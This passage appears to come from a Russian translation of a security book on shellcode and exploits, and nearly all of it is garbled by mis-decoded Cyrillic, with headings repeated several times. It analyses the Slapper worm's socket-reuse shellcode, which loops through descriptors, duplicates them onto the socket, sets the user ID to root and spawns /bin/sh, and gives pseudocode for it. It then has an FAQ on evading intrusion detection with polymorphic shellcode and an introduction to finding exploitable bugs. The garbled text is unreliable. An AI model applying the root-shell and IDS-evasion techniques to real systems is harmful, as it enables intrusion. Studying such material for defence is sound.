êîäå. Çàòåì ìîæíî áóäåò îïîçíàòü èõ àðãóìåíòû è, íàêîíåö, ïîñòðîèòü ýê-
âèâàëåíòíóþ ïðîãðàììó íà C.

Â ñòðîêå 16 â ðåãèñòð AL çàíîñèòñÿ çíà÷åíèå 0x66, à â ñòðîêå 19 âûçûâàåòñÿ
ÿäðî. Â Linux ñèñòåìíûé âûçîâ 0x66 (102) – ýòî socketcall, êîòîðûé ÿâëÿåòñÿ
èíòåðôåéñîì êî âñåì ôóíêöèÿì ðàáîòû ñî ñîêåòàìè (ìû ýòî óæå îáñóæäàëè
âûøå).

Â ñòðîêàõ 32 è 34 èäåò îáðàùåíèå ê ñèñòåìíîìó âûçîâó ñ íîìåðîì 0x3f (63).
Ýòî âûçîâ dup2, ïðèìåíÿåìûé äëÿ äóáëèðîâàíèÿ ôàéëîâûõ äåñêðèïòîðîâ.

Â ñòðîêàõ 41 è 42 âûïîëíÿåòñÿ ñèñòåìíûé âûçîâ 0x4a, òî åñòü setresuid; îí
ñëóæèò äëÿ âîññòàíîâëåíèÿ èñõîäíûé ïðèâèëåãèé.

Íàêîíåö, â ñòðîêàõ 52 è 53 âûïîëíÿåòñÿ execve. Íàâåðíîå, äëÿ òîãî ÷òîáû
çàïóñòèòü îáîëî÷êó.

Èòàê, ìû çíàåì, ÷òî â shell-êîäå èñïîëüçîâàíû ñëåäóþùèå ÷åòûðå ñèñòåì-
íûõ âûçîâà:

� socketcall();
� dup2();
� setresuid();
� execve().

Ïîñëåäíèå òðè õàðàêòåðíû äëÿ shell-êîäà ïðèâÿçêè ê ïîðòó, â êîòîðîì ñó-
ùåñòâóþùèé ñîêåò èñïîëüçóåòñÿ ïîâòîðíî. Íî ïðè÷åì òóò socketcall? Ðàñ-
ñìîòðèì âñå ÷åòûðå ôðàãìåíòà ïðîãðàììû, â êîòîðûõ âñòðå÷àþòñÿ ñèñòåì-
íûå âûçîâû, áîëåå ïîäðîáíî, íà÷àâ ñ socketcall.

Ñèñòåìíûé âûçîâ socketcall ïðåäñòàâëÿåò ñîáîé èíòåðôåéñ ê ðàçëè÷íûì
ôóíêöèÿì äëÿ ðàáîòû ñ ñîêåòàìè. Åãî ïåðâûé àðãóìåíò, ïåðåäàâàåìûé â ðå-
ãèñòðå EBX, ñîäåðæèò íîìåð ôóíêöèè. Â ñòðîêå 17 â EBX çàíîñèòñÿ ÷èñëî
0x7, ñîîòâåòñòâóþùåå ôóíêöèè getpeername. Âòîðîé àðãóìåíò – ýòî óêàçàòåëü
íà ñïèñîê àðãóìåíòîâ, ïåðåäàâàåìûõ çàäàííîé ôóíêöèè.

Ôóíêöèÿ getpeername âîçâðàùàåò àäðåñ âòîðîé îêîíå÷íîé òî÷êè ñîåäèíå-
íèÿ. Åé íóæíî ïåðåäàòü òðè àðãóìåíòà: äåñêðèïòîð ñîêåòà, óêàçàòåëü íà ñòðóê-
òóðó sockaddr è ðàçìåð ýòîé ñòðóêòóðû.

Ýòè àðãóìåíòû èíèöèàëèçèðóþòñÿ â ñòðîêàõ 5–10, à â ñòðîêå 18 â ðåãèñòð
ECX çàãðóæàåòñÿ àäðåñ ñïèñêà àðãóìåíòîâ. Çàìåòèì, ÷òî â ñòðîêå 12 â ðåãèñòð
ECX (ãäå äîëæíî õðàíèòüñÿ çíà÷åíèå äåñêðèïòîðà ñîêåòà) çàíîñèòñÿ 255.

Ïîñëå âûïîëíåíèÿ âûçîâà socketcall âîçâðàùàåìîå çíà÷åíèå ñðàâíèâàåòñÿ
ñ íóëåì. Åñëè íå ñîâïàëî, òî ïðîèñõîäèò ïåðåõîä íà ñòðîêó 36, ãäå êîìàíäà
loop óìåíüøàåò çíà÷åíèå ECX íà åäèíèöó è ïåðåõîäèò íà ñòðîêó 13. Åñëè æå
âûçîâ socketcall âåðíóë 0 è íîìåð ïîðòà â çàïîëíåííîé èì ñòðóêòóðå sockaddr
ðàâåí 0x3412, òî ìû îáõîäèì êîìàíäó loop â ñòðîêå 27.
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Èòàê, ïðîèñõîäèò ñëåäóþùåå. Â öèêëå ìû ïåðåáèðàåì âñå äåñêðèïòîðû
ñ íîìåðàìè îò 0 äî 255 è äëÿ êàæäîãî ñìîòðèì, íå ñîîòâåòñòâóåò ëè îí ñîêå-
òó. Â ýòîì íàì ïîìîãàåò ôóíêöèÿ getpeername, êîòîðàÿ âåðíåò 0, åñëè ïåðåäàí
äåñêðèïòîð ñîêåòà, è –1 â ïðîòèâíîì ñëó÷àå.

Òåïåðü ìû ïîäîøëè ê ìåñòó, ãäå ôàéëîâûå äåñêðèïòîðû stdin, stdout è
stderr äóáëèðóþòñÿ íà ñîêåò. Ýòîò ôðàãìåíò êîäà çàíèìàåò ñòðîêè ñ 28 ïî 36 è
ïðàêòè÷åñêè íå îòëè÷àåòñÿ îò òîãî, ÷òî ìû âèäåëè â ïðåäûäóùèõ ïðèìåðàõ.

Äàëåå âûïîëíÿåòñÿ âûçîâ setresuid, êîòîðîìó â êà÷åñòâå àðãóìåíòîâ ïåðåäà-
íî òðè íóëÿ. Ïðè ýòîì äåëàåòñÿ ïîïûòêà óñòàíîâèòü ðåàëüíûé, äåéñòâóþùèé
è ñîõðàíåííûé èäåíòèôèêàòîðû ïîëüçîâàòåëÿ â 0, ÷òî îáû÷íî ñîîòâåòñòâóåò
ïîëüçîâàòåëþ root.

Íàêîíåö, ñèñòåìíûé âûçîâ execve çàïóñêàåò ïðîãðàììó, ïóòü â êîòîðîé
(/bin/sh) áûë ïîìåùåí â ñòåê â ñòðîêàõ 45 è 46.

Åñëè ïåðåâåñòè ðåçóëüòàòû íàøèõ èçûñêàíèé íà ïñåâäîêîä, ïîëó÷èòñÿ
âîò ÷òî:

file_descriptors = 255;

for (I = 255; I > 0; I—) {

    call_args = I + peerstruct + sizeof(peerstruct);
    if (socketcall(7, &call_args) == 0) {

       if (peerstruct.port = 0x3412) {
          goto finish;
       }
    }
}
finish:

tmp = 3;

dupfunc:
tmp—;
dup2(I, tmp);
loop dupfunc if tmp != 0

setresuid(0,0,0);
execve(/bin/sh, {'/bin/sh’, 0}, 0);

Ñíà÷àëà shell-êîä èùåò äåñêðèïòîð îòêðûòîãî ñîêåòà, äëÿ êîòîðîãî ïîðò
ðàâåí 0x3412. Åñëè òàêîâîé íàéäåí, òî íà íåãî äóáëèðóþòñÿ äåñêðèïòîðû
stdin, stdout è stderr, ïîñëå ÷åãî âûçûâàåòñÿ setresuid è ñ ïîìîùüþ execve çàïóñ-
êàåòñÿ îáîëî÷êà. Êîä äëÿ ïîèñêà ïîäõîäÿùåãî ñîêåòà çàèìñòâîâàí èç äîêó-
ìåíòà, îïóáëèêîâàííîãî  ãðóïïîé Last Stage of Del irium, è íàçûâàåòñÿ findsck.
Îçíàêîìèòüñÿ ñ ýòèì äîêóìåíòîì ìîæíî ïî àäðåñó www.lsd-pl.net/documents/
asmcodes-1.0.2.pdf.

Как разобраться в работе готового shell�кода?
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Ïîäâîäÿ èòîã, ìîæíî ñêàçàòü, ÷òî ðàçîáðàòüñÿ â ãîòîâîì shell-êîäå ìîæ-
íî. Äëÿ ýòîãî íàäî âûÿâèòü âñå êîìàíäû int 0x80 è îïðåäåëèòü íîìåðà ñèñ-
òåìíûõ âûçîâîâ. Çàòåì ñëåäóåò ïîíÿòü, êàêèå àðãóìåíòû èì ïåðåäàþòñÿ.
È äëÿ ïîëó÷åíèÿ ïîëíîé êàðòèíû ðàçîáðàòüñÿ â òîì, ÷òî àññåìáëåðíûé êîä
äåëàåò, ïîìèìî îáðàùåíèÿ ê ñèñòåìíûì âûçîâàì (íàïðèìåð, îðãàíèçóåò
öèêëû).
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Резюме
Ñàìûé ëó÷øèé èç âñåõ âîçìîæíûõ shell-êîäîâ äîëæåí âûïîëíÿòüñÿ íà ðàç-
ëè÷íûõ ïëàòôîðìàõ, íå òåðÿÿ ýôôåêòèâíîñòè. Òàêîé ìíîãîïëàòôîðìåííûé
êîä ñëîæíî ïèñàòü è òåñòèðîâàòü, çàòî ðåçóëüòàò ìîæåò îêàçàòüñÿ âåñüìà ïî-
ëåçíûì äëÿ ñîçäàíèÿ ïðèëîæåíèé, ñïîñîáíûõ âûïîëíèòü êîìàíäû èëè ïîëó-
÷èòü îáîëî÷êó â ðàçíûõ ÎÑ. Â ïðèâåäåííîì ïðèìåðå áûë ïðîàíàëèçèðîâàí
êîä, ðåàëüíî èñïîëüçîâàííûé â çíàìåíèòîì è âåñüìà çëîâðåäíîì ÷åðâå
Slapper, êîòîðûé ðàñïðîñòðàíèëñÿ ïî ñåòè Èíòåðíåò â ñ÷èòàííûå ÷àñû, íàõî-
äÿ è çàðàæàÿ óÿçâèìûå ìàøèíû.

Обзор изложенного материала
Ïðèìåðû shell-êîäîâÏðèìåðû shell-êîäîâÏðèìåðû shell-êîäîâÏðèìåðû shell-êîäîâÏðèìåðû shell-êîäîâ

� Shell-êîä çàâèñèò îò îïåðàöèîííîé ñèñòåìû; îñîáåííîñòè àïïàðàòíîé
è ïðîãðàììíîé ïëàòôîðìû äèêòóþò âûáîð àññåìáëåðà.

� ×òîáû îòêîìïèëèðîâàòü shell-êîä, íà òåñòîâóþ ñèñòåìó íóæíî óñòàíî-
âèòü ïàêåò nasm, êîòîðûé âêëþ÷àåò àññåìáëåð. Ðåçóëüòàò êîìïèëÿöèè
ïðåîáðàçóåòñÿ â ñòðîêó, âñòàâëÿåìóþ â ýêñïëîéò.

� Ôàéëîâûå äåñêðèïòîðû 0, 1 è 2 ñîîòâåòñòâóþò ôàéëàì stdin, stdout
è stderr. Îíè ñëóæàò äëÿ ÷òåíèÿ ââîäèìûõ ïîëüçîâàòåëåì äàííûõ, âûâî-
äà îáû÷íûõ ñîîáùåíèé è ñîîáùåíèé îá îøèáêàõ.

� Ñàìûì ðàñïðîñòðàíåííûì ÿâëÿåòñÿ shell-êîä äëÿ îáðàùåíèÿ ê ñèñòåì-
íîìó âûçîâó execve. Åãî íàçíà÷åíèå – çàïóñòèòü èç àòàêîâàííîãî ïðè-
ëîæåíèÿ íåêîòîðóþ ïðîãðàììó, ÷àùå âñåãî /bin/sh.

� Âñå áîëåå ïîïóëÿðíîé ñòàíîâèòñÿ òåõíèêà êîäèðîâàíèÿ shell-êîäà, ïðè
êîòîðîé ýêñïëîéò âèäîèçìåíÿåò shell-êîä è ïîìåùàåò ïåðåä íèì ïîäõî-
äÿùèé äåêîäåð. Âî âðåìÿ èñïîëíåíèÿ äåêîäåð âîññòàíàâëèâàåò èñõîä-
íûé âèä shell-êîäà è ïåðåõîäèò íà åãî íà÷àëî.

Ïîâòîðíîå èñïîëüçîâàíèå ïåðåìåííûõ ïðîãðàììûÏîâòîðíîå èñïîëüçîâàíèå ïåðåìåííûõ ïðîãðàììûÏîâòîðíîå èñïîëüçîâàíèå ïåðåìåííûõ ïðîãðàììûÏîâòîðíîå èñïîëüçîâàíèå ïåðåìåííûõ ïðîãðàììûÏîâòîðíîå èñïîëüçîâàíèå ïåðåìåííûõ ïðîãðàììû
� Âàæíî ïîíèìàòü, ÷òî, êîëü ñêîðî óäàëîñü âíåäðèòü â ïðîãðàììó shell-

êîä, â åãî ðàñïîðÿæåíèè îêàçûâàþòñÿ âñå îòêðûòûå ïðîãðàììîé ôàé-
ëîâûå äåñêðèïòîðû.

� Îñíîâíîé íåäîñòàòîê ïîâòîðíîãî èñïîëüçîâàíèÿ ïåðåìåííûõ ïðî-
ãðàììû â òîì, ÷òî èñïîëüçóþùèé ýòó òåõíèêó ýêñïëîéò áóäåò ðàáîòàòü
ëèøü ñ åäèíñòâåííîé âåðñèåé ïðîãðàììîé, ñîçäàííîé êîíêðåòíûì
êîìïèëÿòîðîì. Òàê, ýêñïëîéò, êîòîðûé èñïîëüçóåò ïåðåìåííûå â íåêî-

Обзор изложенного материала
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åé ïðîãðàììå íà ïëàòôîðìå Red Hat Linux 9.0, ñêîðåå âñåãî, íå ñòàíåò
ðàáîòàòü ñ òîé æå ïðîãðàììîé, íî íà ïëàòôîðìå Red Hat Linux 6.2.

Shell-êîä, ðàáîòàþùèé â ðàçíûõ ÎÑShell-êîä, ðàáîòàþùèé â ðàçíûõ ÎÑShell-êîä, ðàáîòàþùèé â ðàçíûõ ÎÑShell-êîä, ðàáîòàþùèé â ðàçíûõ ÎÑShell-êîä, ðàáîòàþùèé â ðàçíûõ ÎÑ
� Îñíîâíîå äîñòîèíñòâî shell-êîäà, ñïîñîáíîãî ðàáîòàòü â ðàçíûõ ÎÑ,

â òîì, ÷òî ïîëåçíàÿ íàãðóçêà, ïîñûëàåìàÿ ýêñïëîéòîì, áóäåò îäíîé è
òîé æå, åñëè íå ñ÷èòàòü äëèíû è àäðåñîâ âîçâðàòà.

� Íåäîñòàòêîì æå ìíîãîïëàòôîðìåííîãî shell-êîäà ÿâëÿåòñÿ íåîáõîäè-
ìîñòü âî âðåìÿ èñïîëíåíèÿ îïðåäåëÿòü òèï îïåðàöèîííîé ñèñòåìû.

� Îòëè÷èòü ñèñòåìó BSD îò Linux äîâîëüíî ïðîñòî. Íóæíî ëèøü âû-
ïîëíèòü ñèñòåìíûé âûçîâ, êîòîðûé ñóùåñòâóåò â îáåèõ ñèñòåìàõ, íî
ïðåäíàçíà÷åí äëÿ ñîâåðøåííî ðàçíûõ öåëåé, à ïîòîì ïðîàíàëèçèðî-
âàòü âîçâðàùåííîå çíà÷åíèå.

Êàê ðàçîáðàòüñÿ â ðàáîòå ãîòîâîãî shell-êîäà?Êàê ðàçîáðàòüñÿ â ðàáîòå ãîòîâîãî shell-êîäà?Êàê ðàçîáðàòüñÿ â ðàáîòå ãîòîâîãî shell-êîäà?Êàê ðàçîáðàòüñÿ â ðàáîòå ãîòîâîãî shell-êîäà?Êàê ðàçîáðàòüñÿ â ðàáîòå ãîòîâîãî shell-êîäà?
� Áåñöåííûì ïîäñïîðüåì äëÿ ñîçäàíèÿ è àíàëèçà óæå èìåþùåãîñÿ shell-

êîäà ÿâëÿåòñÿ äèçàññåìáëåð.
� Nasm – ýòî ïðåêðàñíûé ïàêåò äëÿ ïîäãîòîâêè è ìîäèôèêàöèè shell-

êîäà.

Ссылка на сайты
� www.appl icationdefense.com. Íà ñàéòå  Appl ication Defense èìååòñÿ áîëü-

øàÿ ïîäáîðêà áåñïëàòíûõ èíñòðóìåíòîâ ïî îáåñïå÷åíèþ áåçîïàñíîñòè
â äîïîëíåíèå ê ïðîãðàììàì, ïðåäñòàâëåííûì â ýòîé êíèãå.

� http://shellcode.org/Shellcode/. Íà ýòîì ñàéòå ïðåäñòàâëåíî ìíîæåñòâî
ðàçíîîáðàçíûõ shell-êîäîâ, íåêîòîðûå èç êîòîðûõ ïîäðîáíî äîêóìåí-
òèðîâàíû.

� http://nasm.sourceforge.net. nasm – ýòî ïåðåíîñèìûé è ìîäóëüíûé àñ-
ñåìáëåð äëÿ ïðîöåññîðîâ 80x86. Îí ïîääåðæèâàåò öåëûé ðÿä ôîðìàòîâ
îáúåêòíûõ ôàéëîâ, â òîì ÷èñëå a.out è ELF äëÿ Linux, COFF, ôîðìàò
OBJ, ïðèìåíÿåìûé â 16-ðàçðÿäíûõ ÎÑ Microsoft. Ðàñïðîñòðàíÿåòñÿ íà
óñëîâèÿõ ëèöåíçèè LGPL.

Списки рассылки
� SecurityFocus.com. Âñå ñïèñêè ðàññûëêè íà ñàéòå securityfocus.com, ïðè-

íàäëåæàùåì êîìïàíèè Symantec, – ýòî îòëè÷íûé èñòî÷íèê èíôîðìà-
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öèè î ïîñëåäíèõ óãðîçàõ, óÿçâèìîñòÿõ è ýêñïëîéòàõ. Íèæå ïðèâåäåíû
àäðåñà òðåõ òàêèõ ñïèñêîâ:
� Bugtraq@securityfocus.com;
� Focus-MS@securityfocus.com;
� Pen-Test@securityfocus.com.

Часто задаваемые вопросы
Ñëåäóþùèå ÷àñòî çàäàâàåìûå âîïðîñû, íà êîòîðûå îòâå÷àþò àâòîðû êíèãè,
ïðèçâàíû ïîìî÷ü âàì îöåíèòü, íàñêîëüêî õîðîøî âû ïîíÿëè èäåè, èçëîæåí-
íûå â äàííîé ãëàâå, è âîçìîæíûå èõ ïðèìåíåíèÿ íà ïðàêòèêå. Åñëè âû õîòèòå
çàäàòü àâòîðàì âîïðîñ, çàéäèòå íà ñòðàíèöó www.syngress.com/solutions è çà-
ïîëíèòå ôîðìó Ask the AuthorAsk the AuthorAsk the AuthorAsk the AuthorAsk the Author. Çàîäíî âû ïîëó÷èòå äîñòóï ê òûñÿ÷àì äðó-
ãèõ FAQîâ íà ñàéòå ITFAQnet.com.

Â:Â:Â:Â:Â: Ðàáîòàþò ëè ïðèìåðû ïðåäñòàâëåííûå â ýòîé ãëàâå äëÿ ÎÑ FreeBSD,
è â äðóãèõ BSD-ñèñòåìàõ?

Î:Î:Î:Î:Î: Ïî áîëüøåé ÷àñòè, äà. Íî ñîâðåìåííûå äèñòðèáóòèâû ÎÑ BSD ðàçëè-
÷àþòñÿ âñå ñèëüíåå. Íàïðèìåð, åñòü íåìàëî ñèñòåìíûõ âûçîâîâ, ðåàëèçîâàí-
íûõ â OpenBSD è îòñóòñòâóþùèõ â FreeBSD, è íàîáîðîò. Êðîìå òîãî, ñàìà ðå-
àëèçàöèÿ íåêîòîðûõ ñèñòåìíûõ âûçîâîâ â ðàçíûõ êëîíàõ BSD ñóùåñòâåííî
îòëè÷àåòñÿ. Ïîýòîìó, ñîçäàâàÿ shell-êîä äëÿ êàêîé-òî âåðñèè BSD, íå ñëåäóåò
ïðåäïîëàãàòü, ÷òî îí àâòîìàòè÷åñêè áóäåò ðàáîòàòü è âî âñåõ îñòàëüíûõ.

Â:Â:Â:Â:Â: Ìîæåò ëè ñèñòåìà IDS îáíàðóæèòü ïîëèìîðôíûé shell-êîä?
Î:Î:Î:Î:Î: Íåêîòîðûå êîìïàíèè ðàáîòàþò íàä ïðîäóêòàìè, ñïîñîáíûìè ðàñïîçíà-

âàòü ïîëèìîðôíûå shell-êîäû. Íî ïðè ýòîì èñïîëüçóþòñÿ àëãîðèòìû, ïî-
òðåáëÿþùèå î÷åíü ìíîãî ïðîöåññîðíîãî âðåìåíè, òàê ÷òî íà ñàéòàõ çàêàç-
÷èêîâ òàêèå ñèñòåìû âñòðåòèøü íå ÷àñòî. Ïîýòîìó, åñëè çàêîäèðîâàòü shell-
êîä è ñäåëàòü åãî ïîëèìîðôíûì, òî øàíñû, ÷òî IDS åãî íå çàìåòèò, ñèëüíî
âîçðàñòàþò

Â:Â:Â:Â:Â: ß õî÷ó íàó÷èòüñÿ ïèñàòü shell-êîä äëÿ ïðîöåññîðîâ, ïðîèçâîäèìûõ íå
òîëüêî êîìïàíèåé Intel. Ñ ÷åãî íà÷àòü?

Î:Î:Î:Î:Î: Ñíà÷àëà ïîèùèòå â Èíòåðíåòå ðóêîâîäñòâà, ñîäåðæàùèå ïðèìåðû
àññåìáëåðíîãî êîäà äëÿ èíòåðåñóþùèõ âàñ ïðîöåññîðîâ è îïåðàöèîííûõ ñèñ-
òåì. Êðîìå òîãî, ïîñìîòðèòå, íå ðàçìåñòèë ëè ïðîèçâîäèòåëü ÖÏ äîêóìåíòà-
öèþ íà ñâîåì ñàéòå. Â ÷àñòíîñòè, êîìïàíèÿ Intel îïóáëèêîâàëà îòëè÷íóþ ïîä-
áîðêó äîêóìåíòîâ, â êîòîðûõ ôóíêöèîíàëüíîñòü âñåõ åå ïðîöåññîðîâ ðàñ-
ñìàòðèâàåòñÿ î÷åíü ïîäðîáíî. Çàòåì ðàçäîáóäüòå ñïèñîê âñåõ ñèñòåìíûõ
âûçîâîâ äëÿ íóæíîé âàì ÎÑ.

Часто задаваемые вопросы
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Â:Â:Â:Â:Â: Ìîæíî ëè ðàçðàáîòàòü shell-êîä äëÿ Linux/FreeBSD íà ìàøèíå ïîä
óïðàâëåíèåì Windows?

Î:Î:Î:Î:Î: Ìîæíî. Àññåìáëåð, ñ êîòîðûì ìû ðàáîòàëè â ýòîé ãëàâå, èìååòñÿ è äëÿ
ïëàòôîðìû Windows, è ôîðìàò âûõîäíîãî ôàéëà íå çàâèñèò îò òîãî, íà êàêîé
ïëàòôîðìå îí çàïóñêàåòñÿ. Äâîè÷íûé äèñòðèáóòèâ nasm äëÿ Windows ìîæ-
íî âçÿòü ñ ñàéòà http://nasm.sf.net.

Â:Â:Â:Â:Â: Ìîæíî ëè ïîâòîðíî èñïîëüçîâàòü ôóíêöèè, èìåþùèåñÿ â äâîè÷íîì
ôàéëå â ôîðìàòå ELF?

Î:Î:Î:Î:Î: Äà, åñëè îíè íàõîäÿòñÿ â èñïîëíÿåìîì ñåãìåíòå ïðîãðàììû. Ôàéë
â ôîðìàòå ELF èìååò íåñêîëüêî ñåãìåíòîâ, íå êàæäûé èç êîòîðûõ èìååò ïðà-
âà íà èñïîëíåíèå. Ïîýòîìó, åñëè âû çàõîòèòå èñïîëüçîâàòü â ñâîåì shell-êîäå
ôóíêöèè, óæå èìåþùèåñÿ â àòàêóåìîé ïðîãðàììå, ïîñìîòðèòå ñ ïîìîùüþ
readelf, ÷òî åñòü â èñïîëíÿåìûõ ñåãìåíòàõ. Ïðè æåëàíèè çàäåéñòâîâàòü áîëü-
øîé ôðàãìåíò êîäà, íàõîäÿùèéñÿ â ñåãìåíòå, äîïóñêàþùåì òîëüêî ÷òåíèå,
ìîæåòå íàïèñàòü shell-êîä, êîòîðûé ñêîïèðóåò åãî â ñòåêà, à çàòåì âûïîëíèò
êîìàíäó ïåðåõîäà.

Â:Â:Â:Â:Â: Ìîæíî ëè ïîääåëàòü ñâîé àäðåñ, îáðàùàÿñü ê ýêñïëîéòó èç shell-êîäà,
îñóùåñòâëÿþùåãî îáðàòíîå ñîåäèíåíèå?

Î:Î:Î:Î:Î: Ýòî î÷åíü íåëåãêî. Íàø âàðèàíò shell-êîäà ïîëüçóåòñÿ äëÿ óñòàíîâëåíèÿ
ñîåäèíåíèÿ ïðîòîêîëîì TCP. Åñëè âû êîíòðîëèðóåòå ìàøèíó, ðàñïîëîæåí-
íóþ ìåæäó âçëîìàííûì õîñòîì è òåì, ñ êîòîðûì ñâÿçûâàåòñÿ shell-êîä, òî,
ìîæåò áûòü, è óäàñòñÿ îòïðàâèòü ïîääåëüíûå TCP-ïàêåòû, çàñòàâëÿþùèå ñè-
ñòåìó-æåðòâó çàïóñòèòü òó èëè èíóþ ïðîãðàììó. Íî ýòî î÷åíü òðóäíî, òàê
÷òî â îáùåì ñëó÷àå ëó÷øå ñ÷èòàòü, ÷òî ïîääåëàòü TCP-àäðåñ íå ïîëó÷èòñÿ.
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Введение
×òîáû îòûñêèâàòü ñëàáûå ñ òî÷êè çðåíèÿ áåçîïàñíîñòè ìåñòà â ïðîãðàììàõ è
ïèñàòü äëÿ íèõ ýêñïëîéòû, íóæíî ïîíèìàòü, êàêèå áûâàþò óÿçâèìîñòè. Èõ
ìîæíî îòíåñòè ê íåñêîëüêèì êàòåãîðèÿì. Â ýòîé ãëàâå ìû áóäåì çàíèìàòüñÿ
ýêñïëîéòàìè, íàïðàâëåííûìè ïðîòèâ îøèáîê, ñâÿçàííûõ ñ ôîðìàòíûìè
ñòðîêàìè è âîçíèêíîâåíèåì «ãîíêè» (race condition), à â ñëåäóþùåé îáðàòèì-
ñÿ ê áîëåå ðàñïðîñòðàíåííûì óÿçâèìîñòÿì, âîçíèêàþùèì èç-çà ïåðåïîëíå-
íèÿ áóôåðà.

Óìåíèå ïèñàòü ýêñïëîéòû öåííî êàê äëÿ èññëåäîâàòåëåé, òàê è äëÿ êîíå÷-
íûõ ïîëüçîâàòåëåé. Ïðåäúÿâèâ ðóêîâîäñòâó ðàáîòàþùèé ýêñïëîéò, âû ñìî-
æåòå áûñòðî ïðîäåìîíñòðèðîâàòü, ÷åì ýòî ãðîçèò îðãàíèçàöèè.

Обнаружение уязвимостей
Íàïèñàíèå ýêñïëîéòîâ ïðåäïîëàãàåò óìåíèå ïîíèìàòü ïðèðîäó óÿçâèìîñòåé
è íàõîäèòü èõ â ïðîãðàììàõ. Èíûìè ñëîâàìè, àòàêóþùèé äîëæåí ëèáî îáíà-
ðóæèòü íîâóþ óÿçâèìîñòü, ëèáî âîñïîëüçîâàòüñÿ óæå èçâåñòíîé. Ìåòîäû
ïîèñêà íîâûõ óÿçâèìîñòåé âêëþ÷àþò îòûñêàíèå íåêîððåêòíîãî êîäà â èñõîä-
íîì òåêñòå, îòïðàâêó íåîæèäàííûõ äàííûõ ïðèëîæåíèþ è èçó÷åíèå ïðî-
ãðàììû íà ïðåäìåò íàëè÷èÿ ëîãè÷åñêèõ îøèáîê. Â ïðîöåññå ïîèñêà óÿçâèìî-
ñòè íóæíî îáðàùàòü âíèìàíèå íà ðàçëè÷íûå àñïåêòû:

� Äîñòóïåí ëè èñõîäíûé òåêñò?
� Ñêîëüêî ëþäåé óæå çíàêîìèëèñü ñ èñõîäíûì òåêñòîì è êòî ýòè ëþäè?
� Èìååò ëè ñìûñë òðàòèòü ñèëû íà àâòîìàòèçèðîâàííîå ãåíåðèðîâàíèå

ñëó÷àéíûõ èñõîäíûõ äàííûõ äëÿ ïðîãðàììû?
� Ñêîëüêî âðåìåíè ïîòðåáóåòñÿ äëÿ îðãàíèçàöèè òåñòîâîé ñðåäû?

Åñëè ïîäãîòîâêà òåñòîâîé ñðåäû çàéìåò òðè íåäåëè, òî ëó÷øå ïîòðàòèòü
âðåìÿ íà ÷òî-íèáóäü äðóãîå. Íî, âîçìîæíî, äðóãèå èññëåäîâàòåëè óæå çàäó-
ìûâàëèñü íàä òîé æå ïðîáëåìîé è íå èñêëþ÷åíî, ÷òî êòî-òî óæå íàøåë
â ïðîãðàììå îøèáêè, êîòîðûå ìîæíî àòàêîâàòü.

Íàïèñàíèå ýêñïëîéòà äëÿ èçâåñòíîé óÿçâèìîñòè êóäà ïðîùå, ÷åì ïîèñê
íîâîé, ïîñêîëüêó èìååòñÿ ìíîãî àíàëèòè÷åñêîé èíôîðìàöèè. Íî ÷àñòî
ê ìîìåíòó, êîãäà ýêñïëîéò ãîòîâ, ñàéò-æåðòâà óæå îêàçûâàåòñÿ «çàëàòàííûì».
Óçíàòü î ñîñòîÿíèè äåë ñ èçâåñòíûìè óÿçâèìîñòÿìè ìîæíî, îòñëåæèâàÿ ïðî-
òîêîëû èçìåíåíèé â îíëàéíîâîé ñèñòåìå óïðàâëåíèÿ âåðñèÿìè (CVS), åñëè
ðå÷ü èäåò î ïðîãðàììàõ ñ îòêðûòûìè èñõîäíûìè òåêñòàìè. Åñëè ðàçðàáîò-
÷èê äîáàâèë «çàïëàòó», ñêàæåì, â ôàéë server.c ñ ïîìåòêîé «èñïðàâëåíà îøèáêà
malloc» èëè «èñïðàâëåíû äâå îøèáêè èç-çà ïåðåïîëíåíèÿ öåëûõ», òî, âîçìîæ-
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íî, èìååò ñìûñë ïîñìîòðåòü, ñ ÷åì æå áûëà ñâÿçàíà îøèáêà. Àâòîðû ïàêåòîâ
OpenSSL, OpenSSH, FreeBSD è OpenBSD èñïðàâëÿëè îáíàðóæåííûå îøèáêè,
ôèêñèðóÿ èõ â CVS, åùå äî òîãî êàê èíôîðìàöèÿ îá óÿçâèìîñòÿõ áûëà îïóá-
ëèêîâàíà.

Âàæíî òàêæå ðåøèòü, çà ïðèëîæåíèÿìè êàêîãî ðîäà âû îõîòèòåñü. Âàì
èíòåðåñíû òîëüêî îøèáêè, íà êîòîðûå ìîæíî îðãàíèçîâàòü äèñòàíöèîííóþ
àòàêó? Âû õîòèòå àòàêîâàòü êëèåíòà, ðàçìåñòèâ â ñåòè çëîíàìåðåííûé ñåðâåð?
×åì ïðèëîæåíèå îáúåìíåå, òåì áîëüøå øàíñîâ, ÷òî â íåì åñòü îøèáêè, ïîä-
äàþùèåñÿ ýêñïëóàòàöèè. Åñëè âû íàöåëèëèñü íà êîíêðåòíóþ ïðîãðàììó, òî
ëó÷øå âñåãî ïîòðàòèòü âðåìÿ íà èçó÷åíèå êàæäîé ôóíêöèè, êàæäîé ñòðî÷êè
êîäà, âñåõ èñïîëüçóåìûõ ïðîòîêîëîâ. Äàæå åñëè îøèáêó íàéäåòå íå âû ñàìè,
à êòî-òî äðóãîé, òî, âîîðóæåííûå ïîëó÷åííûìè çíàíèÿìè, âû ñóìååòå íàïè-
ñàòü ýêñïëîéò áûñòðåå. Èìåÿ â âèäó êîíêðåòíóþ æåðòâó, âû ñêîðåå äîñòèãíå-
òå óñïåõà, ÷åì ÷åëîâåê, êîòîðûé èùåò óÿçâèìûå ñèñòåìû íàóãàä.

Îñòàíîâèâ ñâîé âûáîð íà êàêîì-òî ïðèëîæåíèè ïðîâåðüòå âñå èëè, ïî
êðàéíåé ìåðå, íàèáîëåå ðàñïðîñòðàíåííûå êëàññû îøèáîê, íàïðèìåð, ïåðå-
ïîëíåíèå ñòåêà, çàòèðàíèå êó÷è, àòàêè íà ôîðìàòíóþ ñòðîêó, ïåðåïîëíåíèå
öåëûõ ÷èñåë è âîçíèêàþùèå ãîíêè. Ïðèìèòå âî âíèìàíèå òî, ñêîëüêî âðå-
ìåíè ïðèëîæåíèå óæå èçâåñòíî è ñêîëüêî â íåì áûëî îáíàðóæåíî îøèáîê
ðàíåå. Åñëè ÷èñëî èõ íåâåëèêî, òî ê êàêèì êëàññàì îíè ïðèíàäëåæàò? Íàïðè-
ìåð, åñëè èçâåñòíû ëèøü îøèáêè èç-çà ïåðåïîëíåíèÿ ñòåêà, ïîèùèòå ÷òî-íè-
áóäü, ñâÿçàííîå ñ öåëûìè ÷èñëàìè, ïîñêîëüêó òå, êòî èññëåäîâàë ïðîãðàììó
